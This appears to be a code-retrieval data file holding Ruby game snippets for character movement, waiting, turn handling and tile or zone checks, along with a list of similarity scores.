"def move_away_from_character(character)\r\r\n sx = distance_x_from(character.x)\r\r\n sy = distance_y_from(character.y)\r\r\n if sx.abs > sy.abs\r\r\n if passable?(@x, @y, (sx > 0 ? 6 : 4))\r\r\n @move_poll+= [[sx > 0 ? 6 : 4, true]] * (32.0 / CXJ::FREE_MOVEMENT::PIXELS_PER_STEP).ceil\r\r\n else\r\r\n @move_poll+= [[sy > 0 ? 2 : 8, true]] * (32.0 / CXJ::FREE_MOVEMENT::PIXELS_PER_STEP).ceil\r\r\n end\r\r\n elsif sy != 0\r\r\n if passable?(@x, @y, (sy > 0 ? 2 : 8))\r\r\n @move_poll+= [[sy > 0 ? 2 : 8, true]] * (32.0 / CXJ::FREE_MOVEMENT::PIXELS_PER_STEP).ceil\r\r\n else\r\r\n @move_poll+= [[sx > 0 ? 6 : 4, true]] * (32.0 / CXJ::FREE_MOVEMENT::PIXELS_PER_STEP).ceil\r\r\n end\r\r\n end\r\r\n end",
"def chase_preceding_character\r\r\n return if self.command_holding?\r\r\n unless moving? && !@force_chase\r\r\n dist = CXJ::FREE_MOVEMENT::FOLLOWERS_DISTANCE / 32.0\r\r\n mrgn = CXJ::FREE_MOVEMENT::FOLLOWERS_DISTANCE_MARGIN / 32.0\r\r\n \r\r\n far_dist = distance_preceding_character\r\r\n \r\r\n if far_dist > 3\r\r\n type = 1\r\r\n prevent_bug_cnt = 0\r\r\n else\r\r\n type = 2\r\r\n end\r\r\n \r\r\n if !move_poll.empty? && distance_preceding_leader < 0.8\r\r\n move_poll.clear\r\r\n end\r\r\n \r\r\n \r\r\n if type == 1 && move_poll.empty?\r\r\n reachable = false\r\r\n \r\r\n $game_player.followers.each do |follower|\r\r\n follower.move_poll.clear\r\r\n if follower.move_poll.empty? && follower.distance_preceding_leader > 3\r\r\n reachable = follower.move_to_position($game_player.x,$game_player.y)\r\r\n if move_poll.empty? || !reachable\r\r\n follower.moveto($game_player.x,$game_player.y) \r\r\n end\r\r\n \r\r\n end\r\r\n end\r\r\n elsif type == 2\r\r\n \r\r\n goal = @preceding_character\r\r\n sx = distance_x_from(goal.x)\r\r\n sy = distance_y_from(goal.y)\r\r\n sd = Math.hypot(sx, sy)\r\r\n if @board\r\r\n @x = goal.x\r\r\n @y = goal.y\r\r\n @board = false\r\r\n elsif(sd > dist && sx.abs > mrgn && sy.abs > mrgn)\r\r\n @move_poll += [[(sx > 0 ? -1 : 1) + (sy > 0 ? 8 : 2), true]]\r\r\n elsif sx.abs > dist && sx.abs > sy.abs\r\r\n @move_poll+=[[sx > 0 ? 4 : 6, true]]\r\r\n elsif sy.abs > dist && sx.abs < sy.abs\r\r\n @move_poll+=[[sy > 0 ? 8 : 2, true]]\r\r\n end\r\r\n end\r\r\n \r\r\n end\r\r\n end",
"def get_good_move\n loop do\n\t\t @player_move = self.get_player_move\n break if @current_state[@player_move].nil?\n puts \"That position is taken. Try another.\"\n end\n @player_move\n end",
"def end?\n @cursor == @text.length\n end",
"def end?\n @cursor == @text.length\n end",
"def wait_end()\n begin\n loop do\n sleep(TICK/1000.0) while (self.connected?() rescue nil)\n break\n end\n rescue Exception => e\n end\n end",
"def move_end?\n @move_end || !@start_move\n end",
"def update\n # increase frame counter\n @time += 1\n # update movement\n update_move\n # update input\n update_input\n # update commands\n update_command\n # update character\n update_character\n # end combo if reached end of commands\n @ended = true if @commands.size == 0\n end",
"def attk_char(character)\n damage = self.attack_power\n if damage > 0\n character.update(hp: character.hp - damage)\n puts @@pastel.magenta(\"-----------------------------------------------------------------\".center(145))\n puts @@pastel.magenta(\"#{self.name} dealt #{damage} damage to #{character.name}!\".center(145))\n puts @@pastel.magenta(\"#{character.name} has #{character.hp} HP left!\".center(145))\n puts @@pastel.magenta(\"-----------------------------------------------------------------\".center(145))\n sleep(1)\n end\n end",
"def wait_until_not_full; end",
"def wait_for_sequence\n tsbs_wait_update\n tsbs_wait_update while @spriteset.busy?\n end",
"def wait_for_callback\n @turnstile.wait unless @paused\n end",
"def play_out\n begin\n make_move(choose_move) until @minefield.clear?\n DISPLAY.call 'Victory!'\n rescue TrippedMineError\n DISPLAY.call 'Boom!'\n return false\n end\n true\n end",
"def finish\n @time = 0.0\n @trigger.()\n end",
"def move_away_from(character)\n # calculate differences in x and y\n dx, dy = @real_x - character.real_x, @real_y - character.real_y\n # determines where to move according to the x and y differences\n if dx > 0 && dy > 0 # character is up left\n move_lower_right\n elsif dx > 0 && dy < 0 # character is down left\n move_upper_right\n elsif dx < 0 && dy > 0 # character is up right\n move_lower_left\n elsif dx < 0 && dy < 0 # character is down right\n move_upper_left\n elsif dx < 0 && dy == 0 # character is right\n move_left\n elsif dx > 0 && dy == 0 # character is left\n move_right\n elsif dx == 0 && dy < 0 # character is down\n move_up\n elsif dx == 0 && dy > 0 # character is up\n move_down\n end\n end",
"def perform_jump(end_pos)\n return false unless valid_jump?(end_pos)\n\n move!(end_pos)\n true\n end",
"def move_toward_character(character)\r\r\n sx = distance_x_from(character.x)\r\r\n sy = distance_y_from(character.y)\r\r\n if sx.abs > sy.abs\r\r\n if passable?(@x, @y, (sx > 0 ? 4 : 6))\r\r\n @move_poll+= [[sx > 0 ? 4 : 6, true]] * (32.0 / CXJ::FREE_MOVEMENT::PIXELS_PER_STEP).ceil\r\r\n else\r\r\n @move_poll+= [[sy > 0 ? 8 : 2, true]] * (32.0 / CXJ::FREE_MOVEMENT::PIXELS_PER_STEP).ceil\r\r\n end\r\r\n elsif sy != 0\r\r\n if passable?(@x, @y, (sy > 0 ? 8 : 2))\r\r\n @move_poll+= [[sy > 0 ? 8 : 2, true]] * (32.0 / CXJ::FREE_MOVEMENT::PIXELS_PER_STEP).ceil\r\r\n else\r\r\n @move_poll+= [[sx > 0 ? 4 : 6, true]] * (32.0 / CXJ::FREE_MOVEMENT::PIXELS_PER_STEP).ceil\r\r\n end\r\r\n end\r\r\n end",
"def wait\n true\n end",
"def process_normal_character(c, pos)\n if @anim_type && @anim_type > 0\n process_anim_character(c, pos)\n else\n if WiggleText::GALV_ANI or WiggleText::DROP_IN\n @anim_type = 7\n process_anim_character(c, pos)\n else\n super\n end\n end\n wait_for_one_character\n end",
"def wait\n sleep 0.0001\n end",
"def do_move()\n\n loop do\n # prompt or retreive for initial position\n if @first_move\n initialPos = prompt_for_postion(\"[#{@name}] Initial position: \")\n else\n initialPos = @last_location\n end\n\n # prompt for new position\n newPos = prompt_for_postion(\"[#{@name}] New position: \")\n\n # complete action using positions\n action = @current_board.action(newPos, initialPos, @colour)\n\n # respond to action result\n case (action)\n when :E, :P\n @first_move = true\n @last_location = [0,0]\n return action\n when :A, :W\n @last_location = newPos\n @first_move = false\n return action\n end\n end\n end",
"def move\n request_animation_frame { move } if @mouse_is_down\n return if !@position || !@started\n trigger 'move', @position\n end",
"def perform_sequence(plateau)\n @sequence.each_char do |chr|\n case chr\n when 'L' then turn_left\n when 'R' then turn_right\n when 'M'\n move_forward\n unless plateau.location_is_safe?(@coords_x, @coords_y)\n life_death_toggle\n break\n end\n end\n end\n end",
"def wait; end",
"def wait; end",
"def wait; end",
"def move\n return unless placed?\n # no need to use a loop since the length is only 2\n new_x = @pos_x + @direction[:x]\n new_y = @pos_y + @direction[:y]\n\n return unless valid_position?(new_x, new_y)\n set_position(new_x, new_y)\n end",
"def turn direction, &complete_handler\n @direction = look_at direction\n sleep 0.25 / @speed\n complete_handler.call\n end",
"def invalid_move\r\n $turns_taken = $turns_taken -1\r\n puts \"\\e[H\\e[2J\"\r\n puts \"ERROR: Invalid move\"\r\n puts 'Press \"Enter\" to continue'\r\n gets\r\nend",
"def wait_until_done\n return if !running?\n send_eof\n\n # TODO: handle case where command doesn't exit.\n start = Time.now\n @standard_output.read_until_eof(timeout)\n @standard_error.read_until_eof(timeout - (Time.now - start))\n pid, @status = Process::waitpid2(@pid)\n @pid = nil\n end",
"def leave\n @leaving = true\n @leave_start_milliseconds = Gosu.milliseconds\n end",
"def wait\n 0\n end",
"def wait_for_effect\n update_for_wait\n update_for_wait while @spriteset.effect?\n end",
"def pbEndSurf(xOffset,yOffset)\n return false if !$PokemonGlobal.surfing\n x=$game_player.x\n y=$game_player.y\n currentTag=$game_map.terrain_tag(x,y)\n facingTag=Kernel.pbFacingTerrainTag\n if pbIsSurfableTag?(currentTag)&&!pbIsSurfableTag?(facingTag)\n if Kernel.pbJumpToward\n Kernel.pbCancelVehicles\n $game_map.autoplayAsCue\n $game_player.increase_steps\n result=$game_player.check_event_trigger_here([1,2])\n Kernel.pbOnStepTaken(result)\n $FollowingFinishedSurfing = true\n end\n return true\n end\n return false\nend",
"def hand_finished\n\t\t\t\tloop do\n\t\t\t\t\tline = socket_get\n\t\t\t\t\tinterpret_acpc_matchstate(line) # update cards and things\n\t\t\t\t\tif line == '#END_HAND'\n\t\t\t\t\t\t# now the hand has really finished\n\t\t\t\t\t\tsuper\n\t\t\t\t\t\tbreak\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend",
"def update_character\n # freeze character input if flag is set\n @ch.set_action(1) if @freeze_character\n end",
"def runner\n set_starting_position\n until @rabbit_asleep \n eat_carrot\n possible_moves\n end \n @carrot_count\nend",
"def wait\n sleep WAIT_TIME unless @skip_wait\n end",
"def get_valid_move\nwhile true\nmove = get_move\nif valid_move?(move)\nreturn move\nelse\nputs \"Position #{ move + 1 } is occupied...Enter a free position\"\nend\nend\nend",
"def update\n accelerate(0, 1) if should_fall?\n move\n end",
"def wait_done\n sleep 0.01 until done?\n end",
"def cursor_down\n $game_system.se_play($data_system.cursor_se)\n @index += 1\n @index %= $game_party.actors.size\n end",
"def delay(frames)\n update_move\n if (Graphics.frame_count - @old >= frames)\n @old = Graphics.frame_count\n return true\n end\n return false\nend",
"def finished?\n if @player_positions.include?(@length)\n return true\n else\n return false\n end\n end",
"def needs_move_update?\n if ( Gosu::milliseconds - @last_move_update > 100 )\n @last_move_update = Gosu::milliseconds \n end\n end",
"def wait_animation\n sleep 0.8\n end",
"def cursor_end\n blen = @buffer.rstrip.length\n if blen < @width\n set_col_offset blen\n else\n @pcol = blen-@width\n #set_form_col @width-1\n set_col_offset blen\n end\n @curpos = blen # this is position in array where editing or motion is to happen regardless of what you see\n # regardless of pcol (panning)\n end",
"def finish\n @finish || @break_sequence\n end",
"def wait_for_callback\n turnstile.wait unless paused\n end",
"def wait_for_skill_sequence\n tsbs_wait_update\n tsbs_wait_update while @spriteset.skill_busy?\n end",
"def movement_process_end(no_follower_move = false)\n follower_move unless no_follower_move\n particle_push\n if SlideTags.include?(sys_tag = system_tag) ||\n (sys_tag == MachBike && !($game_switches[::Yuki::Sw::EV_Bicycle] && @lastdir4 == 8))\n @sliding = true\n @sliding_parameter = sys_tag\n Scheduler::EventTasks.trigger(:begin_slide, self)\n end\n z_bridge_check(sys_tag)\n detect_swamp\n if jumping?\n Scheduler::EventTasks.trigger(:begin_jump, self)\n elsif moving?\n Scheduler::EventTasks.trigger(:begin_step, self)\n end\n end",
"def update\n\n getTimer\n\n createNPCMap(@actualChars)\n\n if ((Gosu::button_down? Gosu::KbLeft or Gosu::button_down? Gosu::GpLeft) and canMoveX?(@character.get_x)) then\n @character.move_left\n end\n if ((Gosu::button_down? Gosu::KbRight or Gosu::button_down? Gosu::GpRight) and canMoveX?(@character.get_x)) then\n @character.move_right\n end\n if ((Gosu::button_down? Gosu::KbUp or Gosu::button_down? Gosu::GpUp)) then\n @character.move_up\n end\n if ((Gosu::button_down? Gosu::KbDown or Gosu::button_down? Gosu::GpDown)) then\n @character.move_down\n end\n\n end",
"def check_ending(mark)\n return unless @game.result\n print_result\n key = @window.getch\n case key\n when ?Y,?y\n start_new_game(mark)\n when ?N,?n\n Kernel::exit\n else\n check_ending(mark)\n end\n @display.clear_status \n end",
"def move!\n\t\tbounce! until !will_bounce? #TODO add surroundedness checking\n\t\t@x += @@target_coords[@direction][:dx]\n\t\t@y += @@target_coords[@direction][:dy]\n\tend",
"def finished?\n player_positions.any? { |player, position| position >= length}\n end",
"def wait_for_dispose\n self.opacity = (@point.continue ? 255 : 0)\n @afterimage = false if out_of_screen?\n return unless @afterimages.empty?\n return if @anim_end.animation?\n return if @point.continue && !out_of_screen?\n dispose\n end",
"def end?\n\t\twin?(\"x\") || win?(\"o\") || @board.count(\"-\") == 0\n\tend",
"def waitQuit()\n @device.waitQuit() ;\n end",
"def finish_turn_end_evs\n events = $game_map.events\n not_done = false\n ev_ids = TM.ev_turn_start[TM.turn_no]\n if ev_ids\n ev_ids.each do |id|\n e = events[id]\n intp = events[id].interpreter\n not_done = not_done || (e.starting || (intp && intp.running?)) # don't want to break\n end\n end\n @wait_on_turn_end_evs = false if !not_done\n end",
"def move\n\t\tif valid_move?\n\t\t\tputs \"\"\n\t\t\tif OS.mac?\n\t\t\t\tcmd = ('say \"roger-roger\"')\n\t\t\t\tsystem cmd\n\t\t\tend\n\t\t\tputs \"Roger, roger I\\'m moving forward one field!\"\n\t\t\tcase @robot_direction\n\t\t\twhen \"EAST\" then @x += 1\n\t\t\twhen \"WEST\" then @x -= 1\n\t\t\twhen \"NORTH\" then @y += 1\n\t\t\twhen \"SOUTH\" then @y -= 1\n\t\t\tend\n\t\telse\n puts \"This is the end of this world and I can't go further in this direction, please change direction\"\n\t\tend\n\tend",
"def interact\n if not e_pause\n if interactable.is_a?(Chest)\n if @keys > 0 and interactable.locked\n interactable.unlock\n @keys -= 1\n @e_pause = true\n end\n end\n end\n end",
"def update_position\n chr = Console.read_char\n\n offset = arrow_val(chr)\n if offset\n new_position = Coord.sum(position, offset)\n self.position = new_position if in_range?(new_position)\n end\n\n chr\n end",
"def next_turn?\n @status != :end\n end",
"def waiting; end",
"def waiting; end",
"def wait_for_press\n wait_for_presses(1)\n end",
"def battle_end(result)\n Game_Temp.in_battle = false\n Game_Temp.current_troop = -1\n extender_end(result)\n end",
"def receive\n complete = \"\"\n while (t = read) != 0.chr\n if t == @char_lead_byte then\n t = read\n end\n\n attempt_to_reconnect if t.nil?\n\n complete << t\n end\n\n complete\n end",
"def process_cursor_move\n return unless super && @allow_change_enemy\n if Input.trigger?(:L)\n turn_page(-1)\n update_scene_index\n elsif Input.trigger?(:R)\n turn_page(1)\n update_scene_index\n end\n return true\n end",
"def update_routine_move\n if @wait_count > 0\n @wait_count -= 1\n else\n @move_succeed = true\n command = @move_route.list[@move_route_index]\n if command\n process_move_command(command)\n advance_move_route_index\n end\n end\n end",
"def pause\n @actor << 'PAUSE'\n @actor.wait\n end",
"def respond_to_input(turn_color)\n loop do\n c = read_char\n case c\n when \"\\r\"\n return end_cursor || cursor\n when \"\\e[A\"\n move_cursor(turn_color, [-1, 0])\n when \"\\e[B\"\n move_cursor(turn_color, [1, 0])\n when \"\\e[C\"\n move_cursor(turn_color, [0, 1])\n when \"\\e[D\"\n move_cursor(turn_color, [0, -1])\n when \"\\u0003\"\n raise Interrupt\n end\n end\n end",
"def take_turn\n\t\tif @cooldown > 0\n\t\t\t@cooldown -= 1\n\t\telse\n\t\t\twrite game.game_state\n\t\t\tstart_time = Time.now\n\t\t\tcommand = get_command\n\t\t\t@time_taken += Time.now - start_time\n\t\t\tif !command[:pass]\n\t\t\t\t@cooldown = $cooldown[:prey]\n\t\t\t\tif @game.occupied?(command[:x], command[:y])\n\t\t\t\t\tfalse #FUTURE invalid move case\n\t\t\t\telsif (command[:x] - @x).abs > 1 || (command[:y] - @y).abs > 1\n\t\t\t\t\tfalse #FUTURE too large a move case\n\t\t\t\telse\n\t\t\t\t\tplace_at(command[:x], command[:y])\n\t\t\t\tend\n\t\t\telse\n\t\t\t\t#FUTURE passing case\n\t\t\tend\n\t\tend\n\tend",
"def wait_for_message\n @message_window.update\n while $game_message.visible \n update_basic\n end\n end",
"def sleep_now?\n self.x_vel == 0 && self.y_vel == 0 && !should_fall?\n end",
"def sleep_now?\n self.x_vel == 0 && self.y_vel == 0 && !should_fall?\n end",
"def pbWaitMessage\r\n return if !@briefMessage\r\n pbShowWindow(MESSAGE_BOX)\r\n cw = @sprites[\"messageWindow\"]\r\n MESSAGE_PAUSE_TIME.times do\r\n pbUpdate(cw)\r\n end\r\n cw.text = \"\"\r\n cw.visible = false\r\n @briefMessage = false\r\n end",
"def wait_for_message\r\n Fiber.yield while $game_message.busy?\r\n end",
"def move_king_escape?\n king_row, king_col = current_player_king_coordinates\n theo_moves = @board[king_row][king_col].theoretical_moves(king_row, king_col)\n theo_moves.each do |end_coords|\n next if end_coords.empty?\n if valid_move?([king_row, king_col], end_coords[0])\n\n # test check condition on its hypothetical board one move in advance. If NOT check, return TRUE!!!\n execute_hypo_move([king_row, king_col], end_coords[0])\n if !check?\n puts \"WE HAVE AN ESCAPE!!! End coords are: #{end_coords}\"\n reverse_hypo_move([king_row, king_col], end_coords[0])\n return true\n end\n reverse_hypo_move([king_row, king_col], end_coords[0])\n\n end\n end\n false\n end",
"def consume_character\n unless @input.empty?\n success(advance(1))\n else\n failure(\"less than one character available\")\n end\n end",
"def handle_input\n return unless player # can happen when spawning\n return if player.should_fall? || @dialog\n if move = move_for_keypress\n @conn.send_move player_id, move\n # also creates a delta in the engine\n end\n end",
"def win_ending\n puts \"Mr.H: you thinking that i am going to let you go that easy\"\n puts \"Captain America see the opportunity attacks Mrs H and leaves him unconscious.\"\n puts \"Captain America He destroyed the base\\n\\n\"\n sleep (4)\n space(20)\n puts \"YOU HAVE SAVE ONCE AGAIN THE PLANET\\n\\n\"\n sleep(4)\n\n space(20)\n game_over\n end",
"def finished?\n\n @players.each do |current_player|\n return true if current_player.position >= @length\n end\n\n return false\n\n end",
"def wait\n \n # If the command has not been sent, or a response was already received. a\n # call to this method doesn't make any sense.\n raise Exception.new(\"Can't wait for response. The command was not send yet, or a response was already received.\") if @response_received == nil\n \n # Wait until a response was received from the server.\n synchronize do\n @response_received.wait_until { response != nil }\n end\n \n end",
"def wait\n\t\t\t\t@available.wait\n\t\t\tend"
] |
[
"0.7760461",
"0.62054217",
"0.6096826",
"0.59877986",
"0.59877986",
"0.5973073",
"0.5861543",
"0.585147",
"0.5762579",
"0.5747054",
"0.570506",
"0.5692232",
"0.5672972",
"0.56296563",
"0.56163204",
"0.55777335",
"0.55704474",
"0.5537389",
"0.5530464",
"0.5530464",
"0.5518111",
"0.55141634",
"0.5488373",
"0.5476699",
"0.53760374",
"0.5374975",
"0.5371481",
"0.53547454",
"0.5338633",
"0.53383416",
"0.5336956",
"0.5330939",
"0.5329297",
"0.53266513",
"0.5325162",
"0.5308428",
"0.5303342",
"0.52748245",
"0.5267849",
"0.5267849",
"0.5267849",
"0.5267569",
"0.52585554",
"0.52566797",
"0.52549446",
"0.5254639",
"0.5252603",
"0.5250466",
"0.52341086",
"0.5230166",
"0.52279115",
"0.5227448",
"0.5215051",
"0.5197556",
"0.5195624",
"0.5189953",
"0.5189726",
"0.51811045",
"0.5174115",
"0.51710665",
"0.51692486",
"0.51672584",
"0.5157715",
"0.5140348",
"0.5138299",
"0.5132412",
"0.513171",
"0.5127771",
"0.5122176",
"0.51200986",
"0.51199985",
"0.5117997",
"0.5110093",
"0.5108252",
"0.51050675",
"0.5097416",
"0.5083214",
"0.5082536",
"0.5076884",
"0.5076884",
"0.5074777",
"0.50744605",
"0.50732094",
"0.5072498",
"0.50689834",
"0.5067238",
"0.50666934",
"0.5062115",
"0.5058965",
"0.5058648",
"0.5058648",
"0.50577724",
"0.50571036",
"0.5054577",
"0.50535464",
"0.50464576",
"0.50449693",
"0.50439787",
"0.50415456",
"0.50401634"
] |
0.69585085
|
1
|
Detect if a specified tile (in layer 3) is in the specified zone
|
def detect_invalid_tile(x, y, width, height, tile_id)
ox = Yuki::MapLinker.get_OffsetX
oy = Yuki::MapLinker.get_OffsetY
rangex = (x + ox)...(x + ox + width)
rangey = (y + oy)...(y + oy + height)
gm = $game_map
return rangex.any? { |tx| rangey.any? { |ty| gm.get_tile(tx, ty) == tile_id } }
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def isInTile?(x,y)\r\n if @inclusive\r\n return iTile(x,y)\r\n else\r\n return xTile(x,y)\r\n end\r\n end",
"def contains_point(x,y,z)\n behind = true\n @planes.each{|p|\n behind = (0 >= p.distance_to_point(x,y,z))\n break if not behind\n }\n return behind\n end",
"def visited_zone?(zone)\n if zone.is_a?(GameData::Map)\n zone_index = GameData::Zone.all.index(zone)\n zone_index ||= GameData::Zone.all.find_index do |data|\n data.map_id == zone.map_id\n end\n zone = zone_index || -1\n end\n return @visited_zone.include?(zone)\n end",
"def map_tile_in_rock(tile)\n (-1..1).all? { |dx| (-1..1).all? { |dy|\n t = tile.offset(dx, dy) and t.shape_basic == :Wall and tm = t.tilemat and (tm == :STONE or tm == :MINERAL or tm == :SOIL)\n } }\n end",
"def inside?(zone)\n inPoly = false\n if zone == nil || zone.count == 0\n return false\n end\n\n lastPointData = Point.new(zone[zone.size-1])\n lastPoint = lastPointData.asMapPoint\n here = self.asMapPoint\n\n zone.each do |point|\n point = Point.new(point).asMapPoint\n\n if (((point.y < here.y) && (lastPoint.y >= here.y)) || ((lastPoint.y < here.y) && (point.y >= here.y)))\n if ((point.x + (((here.y - point.y) / (lastPoint.y - point.y)) * (lastPoint.x - point.x))) < here.x)\n inPoly = !inPoly\n end\n end\n lastPoint = point\n end\n\n inPoly\n end",
"def reachable? begTile, endTile\n x = begTile.x\n y = begTile.y\n self.move_one begTile if @tiles.empty?\n return @tiles.include? endTile\n end",
"def map_tile_in_rock(tile)\n tile and (-1..1).all? { |dx| (-1..1).all? { |dy|\n t = tile.offset(dx, dy) and t.shape_basic == :Wall and tm = t.tilemat and (tm == :STONE or tm == :MINERAL or tm == :SOIL or tm == :ROOT)\n } }\n end",
"def solidTileAt?(x, y)\n # If pixel is at the bottom of the map\n # Or there is a tile at the given position\n y < 0 || @tiles[x / Tiles::TILE_SIZE][y / Tiles::TILE_SIZE]\n end",
"def zone_for(px, pz, sz_bot, sz_top)\n # puts \"calculating zone: #{px}, #{pz}, #{sz_bot}, #{sz_top}\"\n zone = [-0.70833, -0.23611, 0.23611, 0.70833, 100].index{|lower_bound| lower_bound > px} + 1\n zone += 5 * [sz_top, (2*sz_top/3 + sz_bot/3), (2*sz_bot/3 + sz_top/3), sz_bot, -100].index{|bound| bound < pz}\n # puts zone\n return zone\n end",
"def solid?(map, row, col)\n trow = map.tile_grid[row]\n return false if trow.nil?\n tile = trow[col]\n return false if tile.nil?\n\n case tile.gfx_index\n when 3..13, 100..101\n true\n end\n end",
"def tile_check(x, y, d)\n # get pixel movement rate and set bit\n pix, bit = $BlizzABS.pixel, (1 << (d / 2 - 1)) & 0x0F\n # passable if virtual passability works\n return true if ($game_map.virtual_passability[x / pix, y / pix] & bit != 0x00)\n # get x and y of next tile\n case d\n when 2 then nx, ny = x / pix, (y + 1) / pix\n when 4 then nx, ny = (x - 1) / pix, y / pix\n when 6 then nx, ny = (x + 1) / pix, y / pix\n when 8 then nx, ny = x / pix, (y - 1) / pix\n else\n nx = ny = nil\n end\n # passable if still on the same tile\n return (x / pix == nx && y / pix == ny)\n end",
"def zone_exists? zone\n zone_load_multi['response']['zones']['objs'].each do |z|\n return true if z['zone_name'] == zone\n end rescue NoMethodError\n false\n end",
"def zone_exists? zone\n zone_load_multi['response']['zones']['objs'].each do |z|\n return true if z['zone_name'] == zone\n end rescue NoMethodError\n false\n end",
"def intersects?(tile)\n return false if tile.id == @id\n # pp rotated_side\n rotated_sides.any? { |side| tile.sides.any? { |their_side| their_side[:side] == side[:side] } }\n end",
"def table_ps(x,y)\n return true if $game_map.tile_proj_passable?(x,y)\n id_cnt = 0\n layered_tiles(x,y).each do |tile_id|\n flag = tileset.flags[tile_id]\n id_cnt += flag & 0x10\n next if flag & 0x10 != 0\n return true if flag & 0x0400 == 0\n return true if flag & 0x0f == 0\n return false if flag & 0x0f == 0x0f\n end\n return id_cnt == 48\n end",
"def out_of_bounds?\n (0..@grid_size[0]).cover?(@coordinates[0]) &&\n (0..@grid_size[1]).cover?(@coordinates[1])\nend",
"def is_in?(x, y)\n if ((@x+@m_) <= x) && (x <= (@x+@m_+grid_width))\n if ((@y+grid_start_y) <= y) && (y <= (@y+grid_start_y+grid_height))\n x, y = x - (@x+@m_), y - (@y+grid_start_y)\n #make sure it's in the grid viewport\n gh = @gh + (@scroll_type ? 1 : 0)\n for j in 0...gh\n for i in 0...@gw\n if @tiles[j][i].is_in?(x, y)\n return [i, j]\n end\n end\n end\n end\n end\n return [-1, -1]\n end",
"def iTile(x,y)\r\n return (x>=@x1 and x<=@x2 and y>=@y1 and y<=@y2)\r\n end",
"def occupied?(x, y)\n return true if $game_map.get_unit(x,y, nil) != nil\n return false\n end",
"def is_within(layer)\n if !layer.nil?\n layerStartsWithinXBoundaries = self.x > layer.x && (self.x + self.width) < (layer.x + layer.width)\n layerStartsWithinYBoundaries = self.y > layer.y && (self.y + self.height) < (layer.y + layer.height)\n\n return layerStartsWithinXBoundaries && layerStartsWithinYBoundaries\n end\n\n false\n end",
"def check_by_zone\n _r = false\n # global_zone_breakdown returns multidimensional array containing different zone in each line\n # Each line contains 5 elements: Zone Id, max_order_total, max_order_price, Net amount sum by project & Item net price\n a = global_zone_breakdown(purchase_order_items.joins(project: :office).order(:zone_id))\n d = a.detect { |f| (f[1] > 0 && (f[3] > f[1])) || (f[2] > 0 && (f[4] > f[2])) }\n _r = d.nil? ? false : true\n end",
"def check_hit(box) # Checa se a hitbox tem overlap com outra hitbox\n heightimp = false\n @zlist.each do |heightLevel| # Checa impacto de altura, se não tem impacto de altura, um objeto no maximo passa por cima do outro sem colidir\n box.zlist.each do |hitheight|\n if (heightLevel == hitheight) # Qualquer nivel de altura ser igual a qualquer nivel de altura da outra hitbox é o bastante pra ter impacto de altura\n heightimp = true\n end\n end\n end\n if (((@x > box.x + box.width or box.x > @x + @width) or (@y > box.y + box.length or box.y > @y + @length)) or (heightimp == false)) # Se não tem overlap bidimensional ou não há impacto de altura, não tem colisão\n return false\n else\n return true\n end\n end",
"def wall?(tile)\n tile.flatten.count {|t| t == WALL} > 4\n end",
"def include?(pnt)\n pnt.lat >= south && pnt.lng >= west && pnt.lat < north && pnt.lng < east\n end",
"def inArea lat, lon\n if(!inBounds(lat,lon))\n false\n else\n lastpoint = border_points.last\n y2 = 100\n x2 = 200\n a = (y2 - lat)/(x2 - lon)\n b = lat - a*lon\n icount = 0\n border_points_minus_removed.each_with_index do |point|\n\tif(intersect(lastpoint, point, a, b, lon, x2))\n\t icount += 1\n\tend\n\tlastpoint = point\n end\n (icount % 2) == 1\n end\n end",
"def solid?(map, row, col)\n return false if row < 0 || col < 0\n\n trow = map.tile_grid[row]\n return false unless trow\n trow[col]\n end",
"def out_of_bounds?\n (0..@grid_size[0]).cover?(@coordinates[0]) &&\n (0..@grid_size[1]).cover?(@coordinates[1])\n end",
"def passable?(x, y, d)\n # \"passable\" if out of map border\n return true if x < 0 || x >= @map.width || y < 0 || y >= @map.height\n # set bit\n bit = (1 << (d / 2 - 1)) & 0x0f\n # iterate through all layers\n Cache::MapLayers.each {|i|\n # get tile ID\n tile_id = @map.data[x, y, i]\n # if tile ID not valid\n if tile_id == nil\n # impassable\n return false\n # if obstacle bit is set\n elsif $data_tilesets[@map.tileset_id].passages[tile_id] & bit != 0\n # impassable\n return false\n # if obstacle bit is set in all directions\n elsif $data_tilesets[@map.tileset_id].passages[tile_id] & 0x0F == 0x0F\n # impassable\n return false\n # if priority is 0\n elsif $data_tilesets[@map.tileset_id].priorities[tile_id] == 0\n # passable\n return true\n end}\n # passable\n return true\n end",
"def contains?(target)\n return false if kind == 'state' && target.kind == 'country'\n return false if kind == 'zipcode' && ['country', 'state'].include?(target.kind)\n return false if zone_members.empty? || target.zone_members.empty?\n\n if kind == target.kind\n target.zoneables.each do |target_zoneable|\n return false unless zoneables.include?(target_zoneable)\n end\n elsif target.kind == 'zipcode'\n target.zoneables.each do |target_zip|\n # zips contained in states\n if kind == 'state'\n return false unless zoneables.include?(target_zip.state)\n # zips contained in countries\n elsif kind == 'country'\n return false unless zoneables.include?(target_zip.state.try(:country))\n end\n end\n elsif\n # states contained in countries\n target.zoneables.each do |target_state|\n return false unless zoneables.include?(target_state.country)\n end\n end\n true\nend",
"def in_tile(*tiles)\n depths = tiles.map(&:depth).uniq\n raise ArgumentError, 'all tile must be at same depth' if depths.length > 1\n where(tilecode: tiles.map(&:prefix))\n end",
"def contain?(location)\n @map.map.with_index { |v, i| i }.include? location.x and\n @map[location.x].map.with_index { |v, i| i }.include? location.y\n end",
"def zone?\n false\n end",
"def coord_within_map?(array)\n array.map!(&:to_i)\n map = Socrata::Map.all.last\n if array.first <= map.x && array.first >= 0 && array.last <= map.y && array.last >= 0\n true\n else\n false\n end\n end",
"def solid?(x, y)\r\n return if !@tiles[x / 50]\r\n @tiles[x / 50][y / 50]\r\n end",
"def check_place(place)\r\n\t\tif place.x.between?(0, @n-1) && place.y.between?(0,@m-1)\r\n\t\t\treturn (@maze[place.y][place.x]== 0)\r\n\t\telse return false end\r\n\tend",
"def is_matched(ind)\n\t\treturn @tile_Array[ind].return_match\n\tend",
"def nice_place_for_tower? ghost\n @towers.collide_sprite(ghost).empty? and @the_path.collide_sprite(ghost).empty?\n end",
"def get_neighbors(tile)\n @tiles.flatten.select { |t|\n (t.x <= (tile.x + 1) && t.x >= (tile.x - 1)) &&\n (t.y <= (tile.y + 1) && t.y >= (tile.y - 1)) &&\n tile != t\n }\n end",
"def below_screen? y\n y >= HEIGHT * TILE_HEIGHT\n end",
